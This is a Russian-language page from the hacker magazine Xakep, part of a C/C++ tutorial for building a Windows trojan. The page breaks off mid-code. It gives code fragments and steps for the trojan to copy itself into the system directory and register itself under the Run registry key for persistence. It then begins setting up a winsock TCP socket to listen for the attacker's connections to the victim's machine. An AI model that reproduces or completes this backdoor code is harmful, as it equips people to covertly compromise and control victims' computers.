С/C++

Xakep, номер #048, стр. 048-087-2


#pragma comment(linker,"/MERGE:.rdata=.text")

#pragma comment(linker,"/FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078")

#pragma comment(linker,"/ENTRY:WinMain")

Вот мы и подошли к самому главному в программе - точке входа, функции которой передается управление после запуска. У нее существует четыре параметра, ни один из которых нам не понадобится, поэтому название параметров я не пишу, а пишу только их тип.

int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){

Первым делом мы должны скопировать себя в системную директорию. Создаем два строковых буфера по 256 символов каждый. Первый для хранения полного пути с именем запущенного трояна (не будешь же распространять trojan.exe), а второй для нового пути в системной директории. Полный путь с именем файла нам придется получить с помощью функции ядра GetModuleFileName. Передавая в первом параметре GetModuleHandle(0), мы сообщаем функции описатель модуля запущенного файла, во втором и третьем параметре буфер, в который писать путь и ее размер соответственно. Путь, куда будем копировать, мы получим с помощью функции GetSystemDirectory, сообщив ей в параметрах второй буфер и склеив ее с новым именем файла в формате "\\trojan.exe". Вызываем CopyFile с нашими, уже заполненными буферами в первых двух параметрах и true в третьем, если мы не хотим перезаписывать существующий файл, или false, если хотим.

Дальше с помощью функций работы с реестром мы запишем в SOFTWARE\Microsoft\Windows\CurrentVersion\Run свой свежескопированный файл, чтобы он грузился при каждом запуске системы. Троян загружен и готов к круговой обороне (атаке :)).

Слушаем порт

Наконец мы добрались до самого важного участка кода, без которого троян - это не троян. Участка, отвечающего за обмен данными жертвы с тобой :). Как ты уже, наверное, знаешь из статей Horrific`а, для использования функций winsock`а его сначала требуется инициализировать. В сях это делается следующим кодом:

WSADATA wsaData;

WSAStartup(MAKEWORD(2,2), &wsaData);

После инициализации можно приступать к работе с сокетами. Для начала мы создадим сокет listet_Sock с помощью функции socket. Во втором параметре этой функции мы передадим ей defined значение SOCK_STREAM, что означает, что мы будем использовать для связи потоковый протокол TCP. Если бы мы хотели юзать UDP, то передали бы SOCK_DGRAM.

SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);

Теперь мы должны задать свойства этого сокета, то есть номер открываемого нами порта, возможные для соединения ip-адреса и семейство сокетов, параметр AF_INET, который указывает на то, что мы работаем с интернетом. Для этих свойств существует структура sockaddr_in, которую мы и заполним.

//создаем переменную со свойствами

SOCKADDR_IN addr_Sock;

addr_Sock.sin_family = AF_INET;

Назад на стр. 048-087-1  Содержание  Вперед на стр. 048-087-3